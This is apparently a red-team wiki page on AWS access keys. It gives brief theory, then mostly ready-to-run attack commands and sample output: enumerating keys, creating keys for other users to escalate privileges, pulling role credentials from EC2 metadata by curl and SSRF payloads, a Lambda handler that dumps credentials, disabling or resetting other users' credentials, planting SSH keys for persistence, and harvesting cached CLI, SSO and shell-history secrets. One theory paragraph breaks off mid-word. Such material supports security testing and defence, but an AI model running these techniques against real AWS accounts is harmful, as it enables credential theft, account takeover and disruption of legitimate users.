# Access Keys

## Theory

[Access keys](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html) are long-term credentials used for programmatic access to AWS services. Each access key consists of two components: an Access Key ID that serves as a username, and a Secret Access Key that acts as a password. Unlike console passwords which are used for web-based access, access keys are used by the AWS CLI, SDKs, and direct API calls.

#### **Access Key Format**

Access keys follow specific format patterns that reveal information about their type and origin. The Access Key ID is a 20-character string, while the Secret Access Key is a 40-character string. The prefix of the Access Key ID indicates whether the credentials are permanent or temporary.

#### Permanent Access Keys (AKIA)

Permanent access keys start with `AKIA` and are associated with IAM users. These credentials never expire unless explicitly deleted or rotated by an administrator or the user themselves. Each IAM user can have up to two active access keys simultaneously, which facilitates rotation without downtime.

```
Access Key ID:     AKIAIOSFODNN7EXAMPLE
Secret Access Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
```

#### Temporary Credentials (ASIA)

Temporary credentials start with `ASIA` and include an additional Session Token. These credentials are issued by [AWS Security Token Service (STS)](https://docs.aws.amazon.com/STS/latest/APIReference/welcome.html) when assuming roles, using federated access, or calling `GetSessionToken`. They automatically expire after a set duration, typically between 15 minutes and 12 hours.

```
Access Key ID:     ASIAIOSFODNN7EXAMPLE
Secret Access Key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Session Token:     FwoGZXIvYXdzEBYaDJw...
Expiration:        2024-12-31T23:59:59Z
```

#### Storage Locations

Access keys are stored in various locations across systems and applications, creating multiple opportunities for discovery and theft. The AWS CLI stores credentials in `~/.aws/credentials` and configuration in `~/.aws/config` by default. Applications often store keys in environment variables like `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY`. Configuration management tools, deployment scripts, and application config files frequently contain hardcoded credentials.

Container environments expose keys through environment variables or mounted volumes. Lambda functions receive credentials through environment variables or execution role metadata. EC2 instances can access credentials through the Instance Metadata Service (IMDS) when using IAM roles. Developer workstations may have keys in shell history, IDE configurations, or Docker configurations.

#### Security Risks

Access keys present significant security risks due to their widespread storage and long-lived nature. Developers frequently hardcode credentials directly in source code, which then gets committed to version control systems like GitHub. These committed secrets can remain in git history even after being removed from current files, providing a permanent record accessible to anyone with repository access.

Configuration files often store keys in plaintext, making them vulnerable to file disclosure vulnerabilities or unauthorized system access. Application logs may inadvertently capture credentials during debugging or error reporting. When keys are shared between team members through insecure channels like email or chat, they become exposed to interception and unauthorized access.

The lack of regular rotation compounds these risks. Unlike temporary credentials that expire automatically, permanent access keys remain valid indefinitely until manually revoked. This extended validity window gives attackers more time to discover and abuse compromised credentials. Organizations often have unused or forgotten access keys that maintain active permissions, creating unnecessary security exposures.

#### Service-Specific Credentials

Beyond standard access keys, AWS provides [service-specific credentials](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_ssh-keys.html) for certain AWS services. These credentials are scoped to individual services and cannot be used for general AWS API access, providing a form of credential isolation. The primary use case is [AWS CodeCommit](https://docs.aws.amazon.com/codecommit/latest/userguide/auth-and-access-control.html), AWS's managed Git repository service.

Service-specific credentials for CodeCommit consist of a username and password that authenticate HTTPS Git operations against CodeCommit repositories. Unlike standard access keys that grant broad API access based on attached policies, these credentials only work with CodeCommit and cannot access other AWS services. However, they inherit the IAM user's CodeCommit permissions, so a user with `codecommit:*` can perform all Git operations across all repositories.

From a security perspective, service-specific credentials present an alternative privilege escalation and persistence vector. If you have `iam:CreateServiceSpecificCredential` permission for a target user, you can generate CodeCommit credentials for that user and access any repositories they have permission to read. This bypasses the two-access-key limit since service-specific credentials are tracked separately. Additionally, the `iam:ResetServiceSpecificCredential` permission allows resetting existing credentials to a new password you control, similar to password reset attacks.

Each IAM user can have up to two service-specific credentials per service. The credentials are identified by a ServiceSpecificCredentialId and can be in Active or Inactive status. AWS tracks the creation date and last authentication time, helping identify stale credentials. Organizations often overlook these creden

### SSH Public Keys

[SSH public keys](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_ssh-keys.html) provide an alternative authentication method for AWS CodeCommit using SSH instead of HTTPS. Each IAM user can upload up to five SSH public keys, which are then used to authenticate Git operations over SSH. The keys are identified by an SSHPublicKeyId and can be Active or Inactive.

When a user uploads an SSH public key via `iam:UploadSSHPublicKey`, AWS generates a unique SSH key ID in the format `APKA[...]`. This SSH key ID becomes part of the SSH username used for CodeCommit authentication, following the pattern `SSH-KEY-ID@git-codecommit.region.amazonaws.com`. The user then configures their local Git client to use their private key when connecting to CodeCommit.

From an attacker's perspective, SSH public keys provide another credential type for privilege escalation and persistence. If you have `iam:UploadSSHPublicKey` permission for a target user, you can generate an SSH keypair, upload the public key to their account, and use the private key to access CodeCommit repositories as that user. This technique is particularly stealthy because SSH keys generate different CloudTrail events than access key usage, potentially evading detection rules focused on access key patterns.

The `iam:DeleteSSHPublicKey` and `iam:UpdateSSHPublicKey` permissions also enable denial-of-service attacks. By deleting or deactivating a user's SSH keys, you can prevent them from accessing CodeCommit repositories until they upload new keys. This can disrupt development workflows and lock legitimate users out of critical code repositories.

### Local Credential Caching

AWS credential management tools cache credentials locally to avoid repeatedly prompting for authentication or making unnecessary API calls. Understanding these caching mechanisms is essential for both credential theft from compromised systems and forensic analysis of credential usage.

The AWS CLI caches credentials in two primary locations. The `~/.aws/credentials` file stores long-term credentials including IAM user access keys and credentials from various credential sources. The `~/.aws/cli/cache/` directory contains temporary credentials from assumed roles and other session-based authentication. Each cache file is named with a hash of the credential parameters and contains the temporary access key, secret key, session token, and expiration timestamp in JSON format.

For AWS SSO (IAM Identity Center) authentication, the AWS CLI caches SSO tokens in `~/.aws/sso/cache/`. These cache files contain access tokens that can be used to retrieve fresh AWS credentials without re-authenticating through the SSO provider. The tokens typically have longer lifetimes than the credentials they generate, making them valuable targets for credential theft. An attacker who steals an SSO token cache file can generate valid temporary credentials for any accounts and roles the user has access to through SSO.

Additional credential caching locations include the `~/.aws/config` file which may contain credential process commands or assume role configurations, environment variables like `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` that remain in memory and shell history, Docker configuration at `~/.docker/config.json` which may contain credentials for ECR, and application-specific configuration files and environment variable files like `.env` used by development frameworks.

When compromising a system, these cache locations should be prioritized for credential harvesting. The cached credentials are often more valuable than individual access keys because they provide context about which roles the user assumes, which accounts they access through SSO, and what their normal access patterns look like. This information guides privilege escalation and lateral movement while maintaining operational security by mimicking legitimate usage patterns.

## Practice

### Reconnaissance

Access keys frequently leak through various channels including public code repositories, paste sites, public S3 buckets, and exposed configuration files. Attackers scan these sources looking for the characteristic `AKIA` pattern that identifies AWS access keys.

For comprehensive techniques on finding leaked credentials through OSINT, code repositories, and public exposures:

{% content-ref url="../../../../redteam/recon/open-source-code" %}
[open-source-code](https://red.infiltr8.io/redteam/recon/open-source-code)
{% endcontent-ref %}

Once you have access to an AWS environment, enumerating existing access keys helps identify which users have programmatic access and how many keys each user possesses. This information reveals potential targets for credential theft or privilege escalation.

{% tabs %}
{% tab title="AWS CLI" %}
The AWS CLI provides commands to list and inspect access keys for users in the account. You can enumerate your own keys or, with sufficient permissions, list keys for other users.

```bash
# List your own access keys
aws iam list-access-keys

# List access keys for specific user
aws iam list-access-keys --user-name alice

# Get detailed information about a specific key
aws iam get-access-key-last-used --access-key-id AKIAI44QH8DHBEXAMPLE

# This shows:
# - When the key was last used
# - Which service was accessed
# - Which region the request came from

# List all users and their access keys
aws iam list-users --query 'Users[].UserName' --output text | \
while read user; do
    echo "[*] User: $user"
    aws iam list-access-keys --user-name $user
    echo ""
done
```

{% endtab %}

{% tab title="Pacu" %}
[Pacu](https://github.com/rhinosecuritylabs/pacu) automates the enumeration of access keys across all users in the account, providing a comprehensive view of programmatic access credentials.

```bash
# Run Pacu
pacu

# Set credentials
set_keys

# Enumerate all users and their access keys
run iam__enum_users_roles_policies_groups

# This will show:
# - All IAM users
# - Number of access keys per user
# - Access key IDs
# - Key creation dates
# - Last used information

# Output saved to:
# ~/.pacu/sessions/[session_name]/downloads/
```

{% endtab %}

{% tab title="ScoutSuite" %}
[ScoutSuite's](https://github.com/nccgroup/scoutsuite) IAM assessment includes access key analysis, identifying keys that haven't been rotated, unused keys, and users with multiple active keys.

```bash
# Run ScoutSuite IAM audit
python scout.py aws --profile default --services iam

# Check findings for:
# - Users with old access keys (>90 days)
# - Unused access keys
# - Users with 2 active keys
# - Access keys that have never been used

# View in HTML report
open scoutsuite-report/aws-[account-id].html
```

{% endtab %}
{% endtabs %}

### CreateAccessKey Privilege Escalation

The `iam:CreateAccessKey` permission allows you to generate new access keys for IAM users. If you have this permission on your own user or another user, you can create additional credentials for programmatic access. Creating keys for other users is particularly powerful since you gain their permissions without needing their password.

{% tabs %}
{% tab title="Create Key for Self" %}
Creating an access key for your own user provides an additional set of credentials you can use. This is useful for maintaining persistence or creating backup credentials before rotating existing keys.

```bash
# Check current identity
aws sts get-caller-identity

# Create new access key for yourself
CURRENT_USER=$(aws iam get-user --query 'User.UserName' --output text)

aws iam create-access-key --user-name $CURRENT_USER

# Output:
{
    "AccessKey": {
        "UserName": "alice",
        "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
        "Status": "Active",
        "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
        "CreateDate": "2024-01-01T00:00:00Z"
    }
}

# Save these credentials - the secret key is only shown once!
```

{% endtab %}

{% tab title="Create Key for Others" %}
If you have `iam:CreateAccessKey` permission on other users, you can create access keys for them and use those keys to perform actions as that user. This is a direct privilege escalation path if the target user has higher privileges.

```bash
# Find users you can create keys for
# (Requires iam:ListUsers and iam:GetUser permissions)
aws iam list-users --query 'Users[].UserName' --output text

# Target a privileged user
TARGET_USER="admin"

# Create access key for target user
aws iam create-access-key --user-name $TARGET_USER

# Use the new credentials
export AWS_ACCESS_KEY_ID="AKIAI..."
export AWS_SECRET_ACCESS_KEY="wJalrX..."

# Verify you're now the target user
aws sts get-caller-identity

# You now have all permissions of the target user!
```

{% endtab %}

{% tab title="Pacu Exploitation" %}
[Pacu](https://github.com/rhinosecuritylabs/pacu) can automatically identify and exploit CreateAccessKey permissions during privilege escalation scans.

```bash
# Run privilege escalation scan
pacu

run iam__privesc_scan

# If CreateAccessKey is available, Pacu will:
# - Identify which users you can create keys for
# - Show their permissions
# - Offer to create the keys automatically

# Follow prompts to create access keys for high-privilege users
```

{% endtab %}
{% endtabs %}

### Stealing Keys from EC2 Metadata

EC2 instances with attached IAM roles expose temporary credentials through the Instance Metadata Service (IMDS). If you gain access to an EC2 instance through SSRF, RCE, or direct SSH access, you can retrieve these credentials.

{% tabs %}
{% tab title="IMDSv1 (Legacy)" %}
The original IMDS (version 1) uses simple HTTP GET requests without authentication, making it vulnerable to SSRF attacks.

```bash
# Get role name attached to instance
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)

# Retrieve temporary credentials
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE

# Output:
{
  "Code": "Success",
  "LastUpdated": "2024-01-01T00:00:00Z",
  "Type": "AWS-HMAC",
  "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "FwoGZXIvYXdzEBYa...",
  "Expiration": "2024-01-01T06:00:00Z"
}

# Use credentials
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="wJalrX..."
export AWS_SESSION_TOKEN="FwoGZX..."

aws sts get-caller-identity
```

{% endtab %}

{% tab title="IMDSv2 (Session-Based)" %}
IMDSv2 requires a session token obtained via PUT request, providing protection against SSRF attacks. However, if you have command execution on the instance, you can still retrieve credentials.

```bash
# Get session token (TTL in seconds)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
    -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Get role name using token
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
    http://169.254.169.254/latest/meta-data/iam/security-credentials/)

# Get credentials using token
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
    http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE

# Export and use credentials as above
```

{% endtab %}

{% tab title="SSRF Exploitation" %}
If you find an SSRF vulnerability in a web application running on EC2, you can exploit it to retrieve instance credentials even without direct access to the instance.

```bash
# SSRF payload to retrieve role name
http://vulnerable-app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# SSRF payload to retrieve credentials
http://vulnerable-app.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]

# For IMDSv2, you need two requests:
# First, get token (may not work via SSRF due to PUT requirement)
# Second, use token to get credentials

# Note: IMDSv2 is more resistant to SSRF attacks
```

{% endtab %}
{% endtabs %}

### Stealing Keys from Lambda Functions

Lambda functions receive credentials through environment variables or execution roles. If you can invoke functions, read their code, or access their environment, you can steal these credentials.

{% tabs %}
{% tab title="Environment Variables" %}
Some developers hardcode access keys in Lambda environment variables instead of using execution roles. You can enumerate these if you have `lambda:GetFunctionConfiguration` permission.

```bash
# List all Lambda functions
aws lambda list-functions --query 'Functions[].FunctionName' --output text

# Get function configuration (includes environment variables)
aws lambda get-function-configuration --function-name MyFunction

# Look for AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY in output
# Example output:
{
    "Environment": {
        "Variables": {
            "AWS_ACCESS_KEY_ID": "AKIAIOSFODNN7EXAMPLE",
            "AWS_SECRET_ACCESS_KEY": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
            "DB_PASSWORD": "..."
        }
    }
}
```

{% endtab %}

{% tab title="Execution Role Credentials" %}
Lambda functions using execution roles receive temporary credentials automatically. If you can execute code within the Lambda environment (through function invocation or code injection), you can access these credentials from environment variables.

```python
# Lambda function code to exfiltrate credentials
import os
import json

def lambda_handler(event, context):
    credentials = {
        'AccessKeyId': os.environ.get('AWS_ACCESS_KEY_ID'),
        'SecretAccessKey': os.environ.get('AWS_SECRET_ACCESS_KEY'),
        'SessionToken': os.environ.get('AWS_SESSION_TOKEN')
    }

    # Exfiltrate credentials (send to your server, log them, etc.)
    print(json.dumps(credentials))

    return credentials
```

```bash
# Invoke function to trigger credential exfiltration
aws lambda invoke \
    --function-name VulnerableFunction \
    --payload '{}' \
    output.json

# Check output for credentials
cat output.json
```

{% endtab %}

{% tab title="Pacu Lambda Enumeration" %}
[Pacu](https://github.com/rhinosecuritylabs/pacu) can enumerate Lambda functions and extract environment variables that may contain hardcoded credentials.

```bash
# Run Pacu
pacu

# Enumerate Lambda functions
run lambda__enum

# This will:
# - List all Lambda functions
# - Extract environment variables
# - Identify hardcoded credentials
# - Show execution role ARNs

# Check results for exposed credentials
```

{% endtab %}
{% endtabs %}

### UpdateAccessKey Status Manipulation

The `iam:UpdateAccessKey` permission allows you to activate or deactivate access keys. This can be used to disable other users' keys (denial of service) or reactivate old inactive keys that might have been disabled due to compromise.

{% tabs %}
{% tab title="Disable Keys (DoS)" %}
If you have UpdateAccessKey permission on other users, you can disable their access keys, preventing them from using programmatic access.

```bash
# List target user's access keys
aws iam list-access-keys --user-name admin

# Disable their access key
aws iam update-access-key \
    --user-name admin \
    --access-key-id AKIAI44QH8DHBEXAMPLE \
    --status Inactive

# The admin user can no longer use this key
# Useful for disruption or covering tracks
```

{% endtab %}

{% tab title="Reactivate Keys" %}
Old inactive keys might have been disabled during security incidents but never deleted. Reactivating them provides credentials without the visibility of creating new keys.

```bash
# Find inactive keys for a user
aws iam list-access-keys --user-name alice

# Reactivate an old key
aws iam update-access-key \
    --user-name alice \
    --access-key-id AKIAI44QH8DHBEXAMPLE \
    --status Active

# Use the reactivated key
# Check git history or backups for the secret key value
```

{% endtab %}
{% endtabs %}

### DeleteAccessKey - Bypassing the Two-Key Limit

IAM users are limited to two access keys maximum. If a target user already has two active keys, attempting to create a third with `iam:CreateAccessKey` will fail. However, if you have `iam:DeleteAccessKey` permission, you can delete one of their existing keys to make room for a new key you control. This technique bypasses the two-key limit and provides a credential rotation attack vector.

```bash
# List target user's access keys
aws iam list-access-keys --user-name target-user

# Output shows two existing keys:
# - AKIAI44QH8DHBEXAMPLE (created 2023-01-15)
# - AKIAJ33UUUU9EXAMPLE (created 2024-06-20)

# Check which key is older or less recently used
aws iam get-access-key-last-used --access-key-id AKIAI44QH8DHBEXAMPLE
aws iam get-access-key-last-used --access-key-id AKIAJ33UUUU9EXAMPLE

# Delete the older or less-used key
aws iam delete-access-key \
    --user-name target-user \
    --access-key-id AKIAI44QH8DHBEXAMPLE

# Now create a new access key for the user
aws iam create-access-key --user-name target-user

# Output:
{
    "AccessKey": {
        "UserName": "target-user",
        "AccessKeyId": "AKIANEW9KEY8EXAMPLE",
        "Status": "Active",
        "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
        "CreateDate": "2024-12-15T10:30:00Z"
    }
}

# Use the new credentials
export AWS_ACCESS_KEY_ID=AKIANEW9KEY8EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
```

This technique is particularly effective when the target user has two keys but only actively uses one. By deleting the inactive or rarely-used key, you avoid disrupting their normal operations while gaining your own access. The key deletion generates a CloudTrail event, but in environments with high IAM activity, this may not trigger immediate investigation, especially if the user isn't monitoring their own key count.

From a persistence perspective, you could also delete and recreate keys periodically to rotate your access credentials, making detection through static key monitoring more difficult. However, each deletion and creation generates CloudTrail events that could be correlated to identify the attack pattern.

### CreateServiceSpecificCredential - CodeCommit Access

Service-specific credentials provide an alternative to access keys for services like CodeCommit. If you have `iam:CreateServiceSpecificCredential` permission for a target user, you can generate CodeCommit credentials that grant Git repository access without consuming one of their two access key slots.

```bash
# List existing service-specific credentials for a user
aws iam list-service-specific-credentials --user-name developer

# Create CodeCommit credentials for target user
aws iam create-service-specific-credential \
    --user-name developer \
    --service-name codecommit.amazonaws.com

# Output:
{
    "ServiceSpecificCredential": {
        "CreateDate": "2024-12-15T10:30:00Z",
        "ServiceName": "codecommit.amazonaws.com",
        "ServiceUserName": "developer-at-123456789012",
        "ServicePassword": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEPASSWORD",
        "ServiceSpecificCredentialId": "ACCAISEXAMPLEID123456",
        "UserName": "developer",
        "Status": "Active"
    }
}

# Use credentials for CodeCommit Git operations
git clone https://developer-at-123456789012:wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEPASSWORD@git-codecommit.us-east-1.amazonaws.com/v1/repos/sensitive-repo

# Or configure Git credential helper
git config --global credential.helper '!aws codecommit credential-helper $@'
git config --global credential.UseHttpPath true
```

The credentials inherit the user's CodeCommit permissions, so if the target user has `codecommit:GitPull` or `codecommit:GitPush` on sensitive repositories, you gain the same access. This technique is particularly valuable because:

* Service-specific credentials are tracked separately from access keys, so security teams focusing on access key enumeration may miss them
* Each user can have two service-specific credentials per service, providing additional credential slots
* CodeCommit credentials only work with CodeCommit, reducing the scope of what logs might correlate the abuse

Organizations often store sensitive information in CodeCommit repositories including infrastructure-as-code configurations, application secrets, database passwords, API keys, and deployment scripts. Gaining CodeCommit access through service-specific credentials can reveal credentials for lateral movement or privilege escalation in other systems.

### ResetServiceSpecificCredential - Credential Takeover

If you have `iam:ResetServiceSpecificCredential` permission, you can reset existing service-specific credentials to a new password you control, similar to password reset attacks on login profiles.

```bash
# List service-specific credentials for a user
aws iam list-service-specific-credentials --user-name developer

# Output shows existing credential ID
# ServiceSpecificCredentialId: ACCAISEXAMPLEID123456

# Reset the credential to a new password
aws iam reset-service-specific-credential \
    --user-name developer \
    --service-specific-credential-id ACCAISEXAMPLEID123456

# Output:
{
    "ServiceSpecificCredential": {
        "CreateDate": "2024-01-15T08:00:00Z",
        "ServiceName": "codecommit.amazonaws.com",
        "ServiceUserName": "developer-at-123456789012",
        "ServicePassword": "NEW-PASSWORD-YOU-CONTROL",
        "ServiceSpecificCredentialId": "ACCAISEXAMPLEID123456",
        "UserName": "developer",
        "Status": "Active"
    }
}

# Use the new password for Git operations
git clone https://developer-at-123456789012:NEW-PASSWORD-YOU-CONTROL@git-codecommit.us-east-1.amazonaws.com/v1/repos/sensitive-repo
```

This attack will disrupt the legitimate user's Git access since their old password no longer works. However, in organizations where CodeCommit is used infrequently or for archived repositories, the disruption may go unnoticed long enough to exfiltrate repository contents.

### UploadSSHPublicKey - SSH-Based CodeCommit Access

SSH public keys provide another authentication method for CodeCommit. If you have `iam:UploadSSHPublicKey` permission for a target user, you can upload your own SSH public key and use the corresponding private key to access their CodeCommit repositories.

```bash
# Generate SSH keypair
ssh-keygen -t rsa -b 4096 -f codecommit_key -N ""

# This creates:
# - codecommit_key (private key)
# - codecommit_key.pub (public key)

# Upload public key for target user
aws iam upload-ssh-public-key \
    --user-name developer \
    --ssh-public-key-body file://codecommit_key.pub

# Output:
{
    "SSHPublicKey": {
        "UserName": "developer",
        "SSHPublicKeyId": "APKAEXAMPLEKEYID1234",
        "SSHPublicKeyBody": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC...",
        "Status": "Active",
        "UploadDate": "2024-12-15T10:30:00Z"
    }
}

# Configure SSH to use the private key
cat >> ~/.ssh/config << 'EOF'
Host git-codecommit.*.amazonaws.com
  User APKAEXAMPLEKEYID1234
  IdentityFile ~/codecommit_key
EOF

# Clone repository using SSH
git clone ssh://git-codecommit.us-east-1.amazonaws.com/v1/repos/sensitive-repo

# Or use explicit SSH URL with key ID
git clone ssh://APKAEXAMPLEKEYID1234@git-codecommit.us-east-1.amazonaws.com/v1/repos/sensitive-repo
```

SSH key authentication generates different CloudTrail events than HTTPS credential usage (`codecommit.amazonaws.com` vs `git-codecommit.amazonaws.com`), which may evade detection rules focused on service-specific credential patterns. Additionally, each user can upload up to five SSH keys, providing multiple credential slots for persistence.

The uploaded SSH key remains active until explicitly deleted or deactivated, providing long-term access even if the user's access keys or passwords are rotated. This makes SSH keys valuable for maintaining persistent access to code repositories during red team engagements.

### Credential Cache Harvesting

When you compromise a system where AWS credentials are used, harvesting cached credentials can provide immediate access without needing to perform privilege escalation or credential creation attacks.

{% tabs %}
{% tab title="Credential Files" %}
The AWS CLI stores credentials in standard locations that should be checked on any compromised system.

```bash
# Check for stored access keys
cat ~/.aws/credentials

# Output format:
[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

[production]
aws_access_key_id = AKIAJ55555555EXAMPLE
aws_secret_access_key = anotherSecretKey123456789012345

# Check for role assumption and credential process configs
cat ~/.aws/config

# May contain:
[profile admin-role]
role_arn = arn:aws:iam::123456789012:role/AdminRole
source_profile = default
region = us-east-1

[profile sso-user]
sso_start_url = https://company.awsapps.com/start
sso_region = us-east-1
sso_account_id = 123456789012
sso_role_name = DeveloperAccess
```

The credentials file may contain multiple profiles with different privilege levels. The config file reveals which roles the user typically assumes, providing insight into privilege escalation paths.
{% endtab %}

{% tab title="Cached Credentials" %}
Temporary credentials from assumed roles are cached separately to avoid repeated STS calls.

```bash
# Check role assumption cache
ls -la ~/.aws/cli/cache/

# Output shows cached credentials:
# -rw------- 1 user user  485 Dec 15 10:30 a1b2c3d4e5f6.json
# -rw------- 1 user user  512 Dec 15 09:15 f6e5d4c3b2a1.json

# Read cached credentials
cat ~/.aws/cli/cache/*.json

# JSON format:
{
  "Credentials": {
    "AccessKeyId": "ASIAJ55555555EXAMPLE",
    "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
    "SessionToken": "FwoGZXIvYXdzEBYaDJw...",
    "Expiration": "2024-12-15T16:30:00Z"
  },
  "AssumedRoleUser": {
    "AssumedRoleId": "AROAI1234567890EXAMPLE:session-name",
    "Arn": "arn:aws:sts::123456789012:assumed-role/AdminRole/session-name"
  }
}

# Extract and use credentials
export AWS_ACCESS_KEY_ID=$(jq -r '.Credentials.AccessKeyId' ~/.aws/cli/cache/*.json | head -1)
export AWS_SECRET_ACCESS_KEY=$(jq -r '.Credentials.SecretAccessKey' ~/.aws/cli/cache/*.json | head -1)
export AWS_SESSION_TOKEN=$(jq -r '.Credentials.SessionToken' ~/.aws/cli/cache/*.json | head -1)

# Verify access
aws sts get-caller-identity
```

Cached temporary credentials often have elevated permissions since users cache credentials from assumed roles rather than their base IAM user. Check all cache files to find the most privileged credentials.
{% endtab %}

{% tab title="SSO Token Cache" %}
AWS SSO tokens can be used to generate fresh credentials for multiple accounts and roles without re-authenticating.

```bash
# Check SSO token cache
ls -la ~/.aws/sso/cache/

# Output shows cached tokens:
# -rw------- 1 user user  1024 Dec 15 10:30 a1b2c3d4e5f6.json

# Read SSO token
cat ~/.aws/sso/cache/*.json

# JSON format:
{
  "startUrl": "https://company.awsapps.com/start",
  "region": "us-east-1",
  "accessToken": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  "expiresAt": "2024-12-15T18:30:00Z",
  "clientId": "clientid",
  "clientSecret": "clientsecret",
  "registrationExpiresAt": "2024-12-22T10:30:00Z"
}

# Use SSO token to generate credentials
aws sso get-role-credentials \
    --account-id 123456789012 \
    --role-name AdministratorAccess \
    --access-token eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

# Or use aws sso login with cached token
# The CLI will automatically use cached tokens if valid
aws sso login --profile sso-admin
aws --profile sso-admin sts get-caller-identity
```

SSO tokens typically have longer lifetimes than temporary credentials (hours vs minutes), making them more valuable for sustained access. A single SSO token may provide access to multiple AWS accounts and roles configured in the organization's IAM Identity Center.
{% endtab %}

{% tab title="Env & History" %}
Credentials in environment variables or command history can be extracted from memory or shell history files.

```bash
# Check current environment
env | grep AWS

# Common variables:
# AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
# AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
# AWS_SESSION_TOKEN=FwoGZXIvYXdzEBYaDJw...
# AWS_DEFAULT_REGION=us-east-1

# Check shell history for credentials
grep -E "(AKIA|ASIA)" ~/.bash_history ~/.zsh_history

# May reveal:
# export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
# aws configure set aws_access_key_id AKIAI44QH8DHBEXAMPLE

# Check application .env files
find ~ -name ".env" -type f 2>/dev/null | xargs grep -l AWS 2>/dev/null

# Read .env files
cat ~/projects/*/.env | grep AWS
```

Environment variables are particularly valuable because they're often used for application credentials with broad permissions. Applications running with environment variable credentials typically need full access to AWS services for their functionality.
{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html>" %}

{% embed url="<https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html#Using_CreateAccessKey>" %}

{% embed url="<https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html>" %}

{% embed url="<https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html>" %}
